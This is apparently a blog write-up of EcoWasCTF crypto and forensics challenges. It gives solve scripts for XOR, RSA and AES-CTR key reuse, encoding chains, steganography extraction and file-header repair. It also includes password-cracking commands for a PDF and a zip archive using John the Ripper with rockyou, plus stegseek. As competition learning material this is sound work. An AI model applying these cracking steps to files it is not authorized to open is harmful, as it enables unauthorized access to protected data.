Type "help", "copyright", "credits" or "license" for more information.
>>> from warnings import filterwarnings
>>> filterwarnings('ignore')
>>> from base64 import b64decode as d
>>> from pwn import xor
^[[A
>>> pt = "flag{"
>>> ct = d("IAUPA1sVCjQ2HhFUHjoyAQs7UBgLGQAAO1AYCxkLDxdFCTogBQ8DXQ==")
>>> key = xor(pt, ct)[:len(pt)]
>>>
>>> key
b'Find '
>>>
>>> len(key)
5
>>>
The first 5 characters of our key is Find
Notice that there’s a space character after letter d which makes the length 5
Now to brute force it I just made a sily script
Here’s my solve script
After running it, I got lot of output but eventually saw a readable word
1
Flag: flag{xor_puts_the_pun_in_pun_based_flag}
Goumin Fraca
We are given various encrypted keys and a RSA public key
Just follow the step I used to solve Ron Adi Leonard
You will get that n can be factorized from there get the value of d
Here’s my solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *
p = 198828927652291316291569791180652465177
q = 315962916257647735873011221555688457883
N = p*q
d = 21178903723966760155190844763458177452716443299090469143032403667752371418657
# convert key*.enc to hex using cyberchef
key0 = bytes.fromhex('0e48d8a6371ca3888f2b8514be91dba5e7ce3b5428c73ef1493f79530cb348be')
enc0 = bytes_to_long(key0)
key1 = bytes.fromhex('5e1c7116f70832d547a734d600715bc677201bb6acf233c12af64f7107134d2b')
enc1 = bytes_to_long(key1)
key2 = bytes.fromhex('0b03a010e0eb7de447f00a215ee4b5d3251e686dd8b4c4113a5a8161e9fde703')
enc2 = bytes_to_long(key2)
key3 = bytes.fromhex('34d14a15a86607da5d16faa5c3ba7224b440edf6c363401d1fa580fe614e1f72')
enc3 = bytes_to_long(key3)
decoded = []
decoded.append(pow(enc0, d, N))
decoded.append(pow(enc1, d, N))
decoded.append(pow(enc2, d, N))
decoded.append(pow(enc3, d, N))
for i in decoded:
print(long_to_bytes(i).decode(), end='')
1
Flag: flag{43bc9aaf8b315435c2459fcb5aaf710a683a917294130b64413f3814465aaf30ffb84a3e86dcf904b2da35352322fa10fccb3e70b6d6b20efb3dc756e5}
Dangbui
Downloading the attached file and checking the python script shows this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
from Crypto.Cipher import AES
import os
from Crypto.Util import Counter
key = os.urandom(16)
def encrypt(data) :
cipher = AES.new(key, AES.MODE_CTR, counter=Counter.new(128))
ciphertext = cipher.encrypt(data)
return ciphertext.hex()
with open("flag.txt", 'rb') as f:
flag = f.read().strip()
anthem = bytes("""Salut à toi pays de nos aïeux,
Toi qui les rendais forts, paisibles et joyeux,
Cultivant vertu, vaillance,
Pour la postérité.
Que viennent les tyrans, ton cœur soupire vers la liberté,
Togo debout, luttons sans défaillance,
Vainquons ou mourons, mais dans la dignité,
Grand Dieu, toi seul nous as exaltés,
Du Togo pour la prospérité,
Togolais viens, bâtissons la cité.""", "utf-8")
print(encrypt(anthem))
print(encrypt(flag))
From the script we can see that this implements AES CTR encryption used on the flag
And the key is 16 random bytes making brute force not fessible 😕
We are given the encrypted anthem and flag
Since we have the encrypted anthem value with it’s plaintext
And the same key is being used to encrypt the flag
We therefore can perform AES Reused Key Weakness attack
Since AES works base on bitwise xor operation
Here’s the solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import binascii
from pwn import xor
anthem = bytes(""" Salut à toi pays de nos aïeux,
Toi qui les rendais forts, paisibles et joyeux,
Cultivant vertu, vaillance,
Pour la postérité.
Que viennent les tyrans, ton cœur soupire vers la liberté,
Togo debout, luttons sans défaillance,
Vainquons ou mourons, mais dans la dignité,
Grand Dieu, toi seul nous as exaltés,
Du Togo pour la prospérité,
Togolais viens, bâtissons la cité.""", "utf-8")
with open('output.txt') as h:
enc_test = binascii.unhexlify(h.readline().strip())
enc_flag = binascii.unhexlify(h.readline().strip())
blob = xor(enc_test, enc_flag)
flag = xor(blob, anthem[:len(enc_flag)])[:len(enc_flag)]
print(flag)
Running the script gave the flag
1
Flag: EcoWasCTF{D0_not_Reuse_key_5897477774}
Here’s the resource that helped me in solving that YT
NOTgate
This was a fun one and it also took a while for most teams to solve not because it’s hard but rather the last part to decrypt the flag isn’t a common cipher
From the challenge description and name we can clearly see NOT highlighted
What does that have to do with Crypto 🤔
Well maybe NOT logic gate!!
Downloading the attached file shows this binary values
If you try to decode that with cyberchef you won’t get any where
So back to the challenge description it’s referring to the NOT logic gate
And basically it returns the complement of it’s value. For example:
1
2
not 1 = 0
not 0 = 1
With that said, my team mate (@mycroft) wrote a script to swap 0 to 1 then 1 to 0
Here’s the script
def swap(param):
vals = param.split()
not_results = []
for bin_val in vals:
not_result = ''.join(['1' if bit == '0' else '0' for bit in bin_val])
not_results.append(not_result)
final_result = ' '.join(not_results)
return final_result
str_ = '''11000110 11001011 10010111 11001011 11010111 11001001 10001101 10011011 10001101 10111010 11000101 10010101 11001001 11010110 11011100 11000011 10111001 10110101 10111001 10111110 11001110 10011010 10100001 10011010 11010011 11000010 10111111 10100100 11010111 11000001 10111111 11000011 11010100 11010100 10100111 11000001 11011010 11001101 11001101 10010100 10111100 10110000 11010000 10011001 10110010 10111101 11010000 10111001 10100001 10110100 11001111 10110000 10010010 10110000 10010000 11001101 10011011 11001111 10101000 10010101 11001101 10011001 10011110 11011101 10101010 10111010 11010101 11010010 11011110 10001100 10111000 11011000 10100100 11001000 10100111 11001110 11010011 10011110 11000111 10111011 10111011 11010010 11000110 10001110 10101100 11001110 11010001 10011100 10111000 11011011 10111111 11001000 10101111 11010010 11010001 11001000 10101110 11011101 10100000 11011100 10111110 11001011 10010000 10100101 10011000 10111111 10101010 10101010 10001010 10100111 11000001 11011101 11011110 10100111 11001110 11000011 11011001 10101100 10100011 10110001 11001001 10101001 10101011 11000101 10110001 11001101 10110100 10011111 10100000 11001111 10111110 10010001 10100111 10101111 11011011 11001101 10011011 11001110 11000011 11010011 11000010 10011111 10110101 10100100 10010111 11001001 10101100 10101001 10101100 10011100 10111011 10011001 10110110 10101110 10010111 11000110 10011010 10001111 10100111 11011110 10111010 10111110 10001111 11001001 10100001 11001100 11010110 11011101 11001000 11001010 11000111 11001010 10111100 10001100 10100100 10111101 10101111 10100000 11001100 10010111 11001000 10001110 10110111 10010101 11000000 11001000 10001101 10111011 10010101 11010101 11000011 11011001 10010001 11010010 11010001 11001110 10011010 10010111 10110000 10001100 11001010 10001011 11001010 10100010 10001111 10111101 10110101 10001101 10110110 10110000 10111011 10110011 11010011 11010000 11000011 11000001 11011000 10110001 10010100 10101010 10111000 10100011 10110010 11011010 10110001 10111011 11010110 11011100 10010010 11000000 11000110 11001100 11010011 10011101 10110001 10111100 10011011 10110001 11000100 11000101 11001100 11010010 10111110 11010100 10010101 11000011 11010110 11010001 11001000 10101100 10111100 11010001 10101010 11001001 10100001 10111001 11011010 10101100 10010011 11011011 10111001 11011000 11011110 10101011 10101111 11001101 10011100 10110001 10100100 11010000 11000011 11010011 10111001 10111111 11000110 11000111 10101110 10101011 10010001 10111011 10111001 11011001 10101110 11001011 10110001 11001100 10111110 10100111 11010000 10100000 11001101 11010011 10111111 11010111 10011001 10111011 10111001 11010010 10011000 11001110 11000001 11011101 10011000 10010001 10010110 10111010 10111110 10111100 11010101 10101011 11001000 10101101 10100000 10101110 11001110 10111111 10101000 11000010 11000010 10100000 10111011 11010100 10101100 11000111 10110011 10111000 10001100 10001010 10010010 10011101 11000010 10100010 10101101 11001011 10110100 11000110 10101110 10100111 10010000 11001010 10111010 11011001 10010111 10010000 10110010 11000110 10010110 10001100 10010001 11000000 10111101 10110001 10100010 11010001 10010100 11000001 11011011 11001010 11000000 10110110 11001110 11010001 11010011 11011001 11000011 10111001 10100011 10100110 10011010 11010010 11000110 10010011 10100110 10111011 10110110 10111111 11000111 10111101 10101110 10010100 10111001 10011111 10001110 10011010 11011100 11001101 10011110 10110100 10010011 11010100 10111101 10110010 10011000 10011111 10100010 11001111 10110001 10100001 10010111 10011111 11001001 11000111 11001110 10010111 10011111 11000111 11000111 10101000 11001001 11001101 10111010 10011100 11010100 10010011 10101111 11000100 10111000 10010000 10110101 10001110 10111010 10111010 11001001 10011000 10111111 10111110 10010100 10100100 11000100 10011100 11001100 10111100 11000000 10111000 10101001 10111100 11001100 10110000 10010011 10110110 10111111 10101010 10001110 11000000 11001000 10111000 11011010 10101111 10101000 11001000 11000100 10111001 10010101 10101111 10101111 11001101 10011110 10001111 11001101 11010011 11001101 10111010 11001010 10100000 10110011 10111011 10011010 11001101 11000010 11001011 11000001 11011101 10101000 11001001 10010000 11001100 11010100 10100110 10101000 10100110 10110111 11011100 11011100 10011001 10110010 11001001 11011101 11000100 10011100 10011111 10111000 10100100 10001101 10101010 10110011 10111001 11010111 11011001 11010101 11010100 11001101 10111000 11001000 10101101 10110001 11001110 10110100 10011100 10111011 10111000 11000100 11001111 10101101 11001000 10011111 10111100 10110010 10010011 10001111 10010000 11000111 10101111 11010110 10101000 10110101 10111000 11011100 10110001 11011011 10010111 10110111 11011100 10101101 10010111 11010101 10111101 11001001 11011010 11001111 10011101 10111100 11001110 10010111 11011000 10110011 10111011 10011111 10110010 11000011 10101101 11000011 10100010 11010101 10101000 11000011 11001100 11010010 10110100 11010111 10110011 10111001 10111111 11001111 10101111 10110010 10111011 11010111 10001010'''
# print(str_)
not_result = swap(str_)
print(not_result)
Running it gives the NOT value
Also cyberchef can do NOT operation but we had no idea that’s why we went ahead writing a script
Now on decoding that NOTed value with cyberchef and using the MAGIC function we got this
Since I had no idea what that is I used dcodefr to identify it
Ok it’s base62 encoding
I decoded that from cyberchef and got this ASCII decimal values
Further decoding using the magic function reached here
1
Note: When I tried decoding that ASCII decimal representation value it got us into rabbit hole for a while 🥲
Anyways what the hell is this:
1
hbaa{ {@A027B:42?@A0?646F:A2?04@=23@A2I0O04U646N0;S?L@Y}
I noticed that this people love ROT47 (from the steg chall btw) so I tried converting it from that and got this
It kinda seems like africa but it isn’t complete
This is were the main issue was decoding that value
After hours of trying various online tools like dcodefr, boxentriq etc.
It couldn’t identify that
So this is were guessing kinda comes in
Using [this](https://book.hacktricks.xyz/crypto-and-stego/crypto-ctfs-tricks](https://book.hacktricks.xyz/crypto-and-stego/crypto-ctfs-tricks) and yea trying them all 💀
You will get that Bifid cipher looks interesting because it starts with flag{
I then used ROT47 which then decoded to the flag
1
Flag: flag{Los_africanos_necesitan_colaborar_x_crecer_juntos}
The process was really tedious but interesting 🙂
Spot Terrorist Secret Message
This was kinda the challenge that determined which team qualify
Was happy when we did it 🙏
It wasn’t all that hard and I wouldn’t say guessy also
Let’s get to it 😜
Downloading the attached file shows it’s an image file
From the image we can see the ECOWAS based countries
I first tried using steghide with no password but it didn’t get anything
Since those are country flags on the image I tried using the password as the Alpha2Code representation but that didn’t work
After few hours we got the password to be ECOWAS
From the look of the extracted file we can immediately tell it’s StegSnow
I tried if I could get the plaintext but that didn’t work
So this needs a password
But this is where the issue began
We spent so many hours trying to brute force the stegsnow password but rockyou was so large and was taking so much time and you can tell from my cwd I also was trying various stuff in order to get the stegsnow password
Eventually after the trial and stuffs we then tried to use combinations of the CTF name
Since the steghide password was ECOWAS, we tried various combination like ECOWAS, ecowas, 3c0w45 etc.
And eventually we got it to be ECOWAS2023 at this point we all looked dumb 😿
So on decoding that stegsnow we got this binary value
Decoding that from cyberchef gives this
1
⠥⠨⠉⠢⠑⠉⠁⠟⠋⠤⠒⠑⠍⠒⠙⠊⠑⠉⠴⠩⠑⠊⠑⠉⠀⠑⠙⠋⠌⠙⠝⠲⠲⠍⠤⠙⠫⠋⠋⠖⠩⠑⠟⠲⠲⠴⠫⠉⠛⠑⠉⠡⠏⠙⠤⠚⠉⠙⠵⠉⠂⠑⠉⠱⠦⠙⠔⠫⠉⠴⠫⠉⠂⠫⠉⠞⠥⠑⠵⠆
From that we can immediately tell it’s Braille cipher
1
U.C5ECAQF-3EM3DIEC0%EIEC EDF/DN44M-D$FF6%EQ440$CGEC*PD-JCDZC1EC:8D9$C0$C1$CTUEZ2
Since I have no idea what that is I used dcodefr to identify it
Cool it’s base45 decoding from cyberchef gives the flag
1
flag{Congratulations on your remarkable achievement!}
Forensics 9/9
Fairy Tale
Downloading the attached file and checking it’s file type shows it’s a zip file
When I tried unzipping I got this error
If we take a look at the hex header we can see that it’s been modified to that of a PDF file
So I changed: 25 50 44 46 to the file signature of a ZIP file 50 4B 03 04 using hexeditor
We can decode that using cyberchef
1
EcoWasCTF{oNe_CuTe_CaT!}
And yes I wrote those hex values manually 💀 though we can use tesseract or python PIL library to extract the text from the image but uhh who wants to do that when pressure is everywhere lol 😂
Etikonam
Downloading the file attached and checking the file type shows this
Ok we can see that it contains PNG file from the result of binwalk
1
binwalk --dd='.*' Etikonam.zip
On viewing the PNG file gave the flag
1
Flag: flag{help_im_stuck_at_the_pet_store}
Where is my Flash
Downloading the attached file and checking the file type shows this
From the challenge title the ideal thing to do is maybe find a way to mount it since it’s referring to Flash Drive then check for the things there
But I didn’t do that
I used foremost to extract what it can from the file
And from that result it shows password.txt which looks interesting to check
1
foremost -i lost_flash_drive
Looking through the audit it extracted 17 files
The file names are all given here
Ok the files there are interesting
Most of them are jpegs so I’m not checking em out
But on checking that peculiar zip file I got this
A password.txt file!! I’ll unzip this since that looks interesting
Doing that and reading the file I got the flag
1
Flag: flag{its_adventure_time_yee_boi!!!}
Assini
After downloading the file and checking the file type I got that it’s a pdf file
Trying to open it requires a password
So I brute forced the password using John The Ripper
1
2
- pdf2john Assini > hash
- john -w=/usr/share/wordlists/rockyou.txt hash
The password for the pdf is hacked
Using it worked and I got the flag
1
Flag: flag{kramer_the_best_hacker_ever}
Zangbeto
Downloading the file and checking it’s file type shows this
So it’s actually a word document file
I used grep to find the flag
Out of luck I tried that and it worked lol
1
Flag: flag{old_macdonald_or_mcdonalds_supplier}
A Peculiar Email
Downloading the attached file and checking it’s content shows this
Since the challenge was referring to spam mail I researched and found this site
Using that I decoded the spam mail got the flag
1
Flag: flag{Why do you have an affinity for concealed matters? Proceed and confess!}
Sentinnelle
After downloading the file attached showed it’s a JPEG file
Next thing I tried was to view it
A black and white photo
I first used stegsolve and changed to various colour offsets maybe the flag is hiding in another offset but it wasn’t
Running steghide didn’t extract anything without a password provided
Since we don’t know the password I decided to try crack it using stegseek
Doing that worked and got an extracted .wav file
When I listened to it I was sure it was morse code
But on decoding showed it’s a troll 😹
At this point I decided to try using Audacity to look at spectogram but it didn’t give anything
I also tried LSB Steg on both the image and the wav file & stegsolve but got nothing
After hours of trying random things I saw online and none worked
I took a quick nap to calm my nerves cause I find it better to solve things when I’m calm
When I woke up I decided to check strings for low hanging fruits 👀
Nothing there looks out of the ordinary but you’ll notice most of them are of same length
Next I tried search which string has at least length of 10
Only those string are quite different from the rest
I used dcodefr to identify it and got this
It found possible encryption schema likely used
The first one doesn’t give anything but the second (ROT47) does
That was really guessy but anyways we have the flag 🙂
1
Flag: EcoWasCTF{fRl38JWTwHInm2oAoVDNomaReoVp}
Yaa Asantewa
We are given a zip file that contains 5 files
Trying to unzip it requires a password
So I brute forced it using JTR
The password is 096630060
Unzipping it gives 5 files where 4 are images and the last one is a RAR file
From the challenge description we are to find the secrets and piece them all together
For the first image hollow_mech.webp checking strings gave this
We can see the base64 encoded value VGhlIGZpcnN0IHNlY3JldCA6IFJpc2luZw==
Decoding it gives the first secret
1
The first secret : Rising
Viewing it shows this cool hollow but the image is scrammbled at another offset
The second image layered.jpg has this comment in the meta data
We can tell that’s a hash
I used crackstation to decode it
1
Second secret: as
Checking it also shows this cool hollow
The third image gave this when I ran strings on it
1
2
3
➜ src strings realmente_.png -n 20
_``_````_``_```__``__`_`__`_``__
➜ src
We can tell that’s just two repeated patterns
Converting them to zero’s and one’s gave this
1
Third secret: one,
You can tell there’s a word in that image that says shines
1
Fourth secret: shines
The last image which is the fourth one holds the 5th secret
And to get it ……..
1
Fifth secret: Africa
Joining all the secret together to a readable word gave this:
1
Flag: EcoWasCTF{Rising as one, Africa shines}
And that’s all ( -_・)σ - - - - - - -
After all the struggle and pain of waiting 1AM / 1PM daily the ctf ended and hopefully we qualified 🙏











































































